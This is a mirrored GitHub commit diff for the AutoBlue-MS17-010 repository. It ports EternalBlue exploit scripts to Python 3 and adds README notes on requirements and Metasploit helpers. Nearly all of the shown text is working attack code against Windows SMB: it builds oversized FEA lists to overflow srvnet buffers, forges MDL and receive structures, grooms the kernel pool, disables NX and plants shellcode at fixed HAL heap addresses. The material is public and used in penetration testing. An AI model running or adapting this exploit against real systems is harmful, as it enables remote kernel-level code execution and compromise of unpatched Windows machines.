mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
Upgrading code to support python3 (#20)
* upgrading code to support python3 * add requirements/dependency clarification Co-authored-by: 3ndG4me <3ndG4me@protonmail.com>
This commit is contained in:
@@ -11,8 +11,21 @@ Included is also an enternal blue checker script that allows you to test if your
|
|||||||
run `python eternal_checker.py <TARGET-IP>`
|
run `python eternal_checker.py <TARGET-IP>`
|
||||||
|
|
||||||
|
|
||||||
|
# Requirements
|
||||||
|
Core exploit code requires impacket and the `mysmb.py` library (included with the repo). To install any requirements simply use pip on the `requirements.txt` file. It's always recommended you use a virtual environment like `venv` when installing python dependencies, but use whatever you like.
|
||||||
|
|
||||||
|
Additionally, the helper scripts below require the Metasploit Framework to be installed. At minimum you will need `msfvenom` for the `shell_prep.sh` but stageless command shells can be caught like any normal command shell without the use of Metasploit's multi/handler. Otherwise, simply install the metasploit framework and insure it is in your path.
|
||||||
|
|
||||||
|
Keep in mind `python2` is *not* officially supported anymore. The original exploit code that is provided was initially built for python2, going forward any errors discovered will be adjusted for insuring the code works with python3 instead of python2. Instructions below assume python/pip are `python3` by default, so if you are using `python2` update based on your own paths when necessary and remember, it is *NOT* officially supported by this repo.
|
||||||
|
## Python2
|
||||||
|
`pip2.7 install -r requirements.txt`
|
||||||
|
|
||||||
|
## Python3
|
||||||
|
`pip install -r requirements.txt`
|
||||||
|
|
||||||
## TODO:
|
## TODO:
|
||||||
1. Testing with non-msfvenom shellcode
|
- [x] Validate python3 compatibility
|
||||||
|
- [ ] Testing with non-msfvenom shellcode
|
||||||
|
|
||||||
## VIDEO TUTORIALS:
|
## VIDEO TUTORIALS:
|
||||||
- https://www.youtube.com/watch?v=p9OnxS1oDc0
|
- https://www.youtube.com/watch?v=p9OnxS1oDc0
|
||||||
|
|||||||
+27
-27
@@ -86,9 +86,9 @@ PASSWORD=''
|
|||||||
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
||||||
NTFEA_SIZE = 0x9000
|
NTFEA_SIZE = 0x9000
|
||||||
|
|
||||||
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
|
ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260 # with these fea, ntfea size is 0x1c80
|
||||||
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
||||||
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
|
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
|
||||||
|
|
||||||
'''
|
'''
|
||||||
Reverse from srvnet.sys (Win2012 R2 x64)
|
Reverse from srvnet.sys (Win2012 R2 x64)
|
||||||
@@ -179,15 +179,15 @@ TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
|
|||||||
# MappedSystemVa = PTE_ADDR+7 - 0x7f
|
# MappedSystemVa = PTE_ADDR+7 - 0x7f
|
||||||
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
|
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
|
||||||
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
|
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
|
||||||
fakeSrvNetBufferX64Nx = '\x00'*16
|
fakeSrvNetBufferX64Nx = b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
|
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
fakeSrvNetBufferX64Nx += b'\x00'*16
|
||||||
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
|
||||||
|
|
||||||
@@ -201,15 +201,15 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
|
|||||||
def createFakeSrvNetBuffer(sc_size):
|
def createFakeSrvNetBuffer(sc_size):
|
||||||
# 0x180 is size of fakeSrvNetBufferX64
|
# 0x180 is size of fakeSrvNetBufferX64
|
||||||
totalRecvSize = 0x80 + 0x180 + sc_size
|
totalRecvSize = 0x80 + 0x180 + sc_size
|
||||||
fakeSrvNetBufferX64 = '\x00'*16
|
fakeSrvNetBufferX64 = b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
|
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
|
||||||
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
|
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
|
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
|
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
|
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
|
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||||
return fakeSrvNetBufferX64
|
return fakeSrvNetBufferX64
|
||||||
@@ -235,14 +235,14 @@ def createFeaList(sc_size):
|
|||||||
#
|
#
|
||||||
# code path to get code exection after this struct is controlled
|
# code path to get code exection after this struct is controlled
|
||||||
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||||
fake_recv_struct = ('\x00'*16)*5
|
fake_recv_struct = (b'\x00'*16)*5
|
||||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
|
||||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
|
||||||
fake_recv_struct += ('\x00'*16)*10
|
fake_recv_struct += (b'\x00'*16)*10
|
||||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
|
||||||
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
|
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
|
||||||
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
|
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
|
||||||
fake_recv_struct += ('\x00'*16)*3
|
fake_recv_struct += (b'\x00'*16)*3
|
||||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
|
||||||
|
|
||||||
|
|
||||||
@@ -303,7 +303,7 @@ def createSessionAllocNonPaged(target, size):
|
|||||||
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
||||||
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
||||||
|
|
||||||
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
|
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
|
||||||
pkt.addCommand(sessionSetup)
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
conn.sendSMB(pkt)
|
conn.sendSMB(pkt)
|
||||||
@@ -325,7 +325,7 @@ def createSessionAllocNonPaged(target, size):
|
|||||||
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
|
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
|
||||||
# UnicodePasswordLen field is in Reserved for extended security format.
|
# UnicodePasswordLen field is in Reserved for extended security format.
|
||||||
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
|
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
|
||||||
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
|
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + b'\x00'*16
|
||||||
pkt.addCommand(sessionSetup)
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
conn.sendSMB(pkt)
|
conn.sendSMB(pkt)
|
||||||
@@ -375,7 +375,7 @@ def send_trans2_second(conn, tid, data, displacement):
|
|||||||
|
|
||||||
if len(data) > 0:
|
if len(data) > 0:
|
||||||
pad2Len = (4 - fixedOffset % 4) % 4
|
pad2Len = (4 - fixedOffset % 4) % 4
|
||||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
|
||||||
else:
|
else:
|
||||||
transCommand['Data']['Pad2'] = ''
|
transCommand['Data']['Pad2'] = ''
|
||||||
pad2Len = 0
|
pad2Len = 0
|
||||||
@@ -412,7 +412,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||||||
fixedOffset = 32+3+38 + len(command)
|
fixedOffset = 32+3+38 + len(command)
|
||||||
if len(param) > 0:
|
if len(param) > 0:
|
||||||
padLen = (4 - fixedOffset % 4 ) % 4
|
padLen = (4 - fixedOffset % 4 ) % 4
|
||||||
padBytes = '\xFF' * padLen
|
padBytes = b'\xFF' * padLen
|
||||||
transCommand['Data']['Pad1'] = padBytes
|
transCommand['Data']['Pad1'] = padBytes
|
||||||
else:
|
else:
|
||||||
transCommand['Data']['Pad1'] = ''
|
transCommand['Data']['Pad1'] = ''
|
||||||
@@ -423,7 +423,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||||||
|
|
||||||
if len(data) > 0:
|
if len(data) > 0:
|
||||||
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
|
||||||
else:
|
else:
|
||||||
transCommand['Data']['Pad2'] = ''
|
transCommand['Data']['Pad2'] = ''
|
||||||
pad2Len = 0
|
pad2Len = 0
|
||||||
@@ -462,19 +462,19 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||||||
# this method is for allocating big nonpaged pool on target
|
# this method is for allocating big nonpaged pool on target
|
||||||
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
||||||
sk = socket.create_connection((target, 445))
|
sk = socket.create_connection((target, 445))
|
||||||
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
|
pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
|
||||||
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
||||||
# Also this is invalid SMB2 message.
|
# Also this is invalid SMB2 message.
|
||||||
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||||
#pkt += '\xfeSMB' # smb2
|
#pkt += '\xfeSMB' # smb2
|
||||||
# it can be anything even it is invalid
|
# it can be anything even it is invalid
|
||||||
pkt += 'BAAD' # can be any
|
pkt += b'BAAD' # can be any
|
||||||
if for_nx:
|
if for_nx:
|
||||||
# MUST set no delay because 1 byte MUST be sent immediately
|
# MUST set no delay because 1 byte MUST be sent immediately
|
||||||
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
|
pkt += b'\x00'*0x7b # another byte will be sent later to disabling NX
|
||||||
else:
|
else:
|
||||||
pkt += '\x00'*0x7c
|
pkt += b'\x00'*0x7c
|
||||||
sk.send(pkt)
|
sk.send(pkt)
|
||||||
return sk
|
return sk
|
||||||
|
|
||||||
@@ -498,13 +498,13 @@ def exploit(target, shellcode, numGroomConn):
|
|||||||
|
|
||||||
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
||||||
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
|
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
|
||||||
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
|
progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
|
||||||
|
|
||||||
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
|
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
|
||||||
nxconn = smb.SMB(target, target)
|
nxconn = smb.SMB(target, target)
|
||||||
nxconn.login(USERNAME, PASSWORD)
|
nxconn.login(USERNAME, PASSWORD)
|
||||||
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
|
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
|
||||||
|
|
||||||
# create some big buffer at server
|
# create some big buffer at server
|
||||||
# this buffer MUST NOT be big enough for overflown buffer
|
# this buffer MUST NOT be big enough for overflown buffer
|
||||||
@@ -545,7 +545,7 @@ def exploit(target, shellcode, numGroomConn):
|
|||||||
# one of srvnetConn struct header should be modified
|
# one of srvnetConn struct header should be modified
|
||||||
# send '\x00' to disable nx
|
# send '\x00' to disable nx
|
||||||
for sk in srvnetConn:
|
for sk in srvnetConn:
|
||||||
sk.send('\x00')
|
sk.send(b'\x00')
|
||||||
|
|
||||||
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||||
# second trigger, place fake struct and shellcode
|
# second trigger, place fake struct and shellcode
|
||||||
|
|||||||
+18
-18
@@ -73,13 +73,13 @@ Shellcode note:
|
|||||||
NTFEA_SIZE = 0x11000
|
NTFEA_SIZE = 0x11000
|
||||||
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
|
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
|
||||||
|
|
||||||
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
|
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + b'A'*0xffde
|
||||||
|
|
||||||
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
|
ntfea11000 = (pack('<BBH', 0, 0, 0) + b'\x00')*600 # with these fea, ntfea size is 0x1c20
|
||||||
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
|
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + b'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
|
||||||
|
|
||||||
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
|
ntfea1f000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
|
||||||
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
|
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + b'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
|
||||||
|
|
||||||
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
|
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
|
||||||
|
|
||||||
@@ -157,7 +157,7 @@ TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
|
|||||||
|
|
||||||
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
|
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
|
||||||
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
|
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
|
||||||
fakeSrvNetBufferNsa += '\x00'*16
|
fakeSrvNetBufferNsa += b'\x00'*16
|
||||||
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
|
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
|
||||||
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
|
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
|
||||||
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
|
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
|
||||||
@@ -171,9 +171,9 @@ fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Proc
|
|||||||
# this is for show what fields need to be modified
|
# this is for show what fields need to be modified
|
||||||
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
|
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
|
||||||
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
|
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += '\x00'*16
|
fakeSrvNetBufferX64 += b'\x00'*16
|
||||||
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
|
fakeSrvNetBufferX64 += b'\x00'*16 # 0x40
|
||||||
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
|
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
|
||||||
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
|
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
|
||||||
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
@@ -204,16 +204,16 @@ feaList += pack('<BBH', 0x12, 0x34, 0x5678)
|
|||||||
# code path to get code exection after this struct is controlled
|
# code path to get code exection after this struct is controlled
|
||||||
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||||
fake_recv_struct = pack('<QII', 0, 3, 0)
|
fake_recv_struct = pack('<QII', 0, 3, 0)
|
||||||
fake_recv_struct += '\x00'*16
|
fake_recv_struct += b'\x00'*16
|
||||||
fake_recv_struct += pack('<QII', 0, 3, 0)
|
fake_recv_struct += pack('<QII', 0, 3, 0)
|
||||||
fake_recv_struct += ('\x00'*16)*7
|
fake_recv_struct += (b'\x00'*16)*7
|
||||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
|
||||||
fake_recv_struct += '\x00'*16
|
fake_recv_struct += b'\x00'*16
|
||||||
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
|
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
|
||||||
fake_recv_struct += ('\x00'*16)*11
|
fake_recv_struct += (b'\x00'*16)*11
|
||||||
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
|
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
|
||||||
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
|
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
|
||||||
fake_recv_struct += ('\x00'*16)*3
|
fake_recv_struct += (b'\x00'*16)*3
|
||||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
|
||||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
|
||||||
|
|
||||||
@@ -292,7 +292,7 @@ def createSessionAllocNonPaged(target, size):
|
|||||||
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
|
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
|
||||||
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
|
||||||
|
|
||||||
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
|
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
|
||||||
pkt.addCommand(sessionSetup)
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
conn.sendSMB(pkt)
|
conn.sendSMB(pkt)
|
||||||
@@ -456,14 +456,14 @@ def createConnectionWithBigSMBFirst80(target):
|
|||||||
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
|
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
|
||||||
sk = socket.create_connection((target, 445))
|
sk = socket.create_connection((target, 445))
|
||||||
# For this exploit, use size is 0x11000
|
# For this exploit, use size is 0x11000
|
||||||
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
|
pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)
|
||||||
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
|
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
|
||||||
# Also this is invalid SMB2 message.
|
# Also this is invalid SMB2 message.
|
||||||
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||||
#pkt += '\xfeSMB' # smb2
|
#pkt += '\xfeSMB' # smb2
|
||||||
# it can be anything even it is invalid
|
# it can be anything even it is invalid
|
||||||
pkt += 'BAAD' # can be any
|
pkt += b'BAAD' # can be any
|
||||||
pkt += '\x00'*0x7c
|
pkt += b'\x00'*0x7c
|
||||||
sk.send(pkt)
|
sk.send(pkt)
|
||||||
return sk
|
return sk
|
||||||
|
|
||||||
|
|||||||
+26
-26
@@ -55,9 +55,9 @@ PASSWORD=''
|
|||||||
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
||||||
NTFEA_SIZE = 0x9000
|
NTFEA_SIZE = 0x9000
|
||||||
|
|
||||||
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
|
ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260 # with these fea, ntfea size is 0x1c80
|
||||||
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
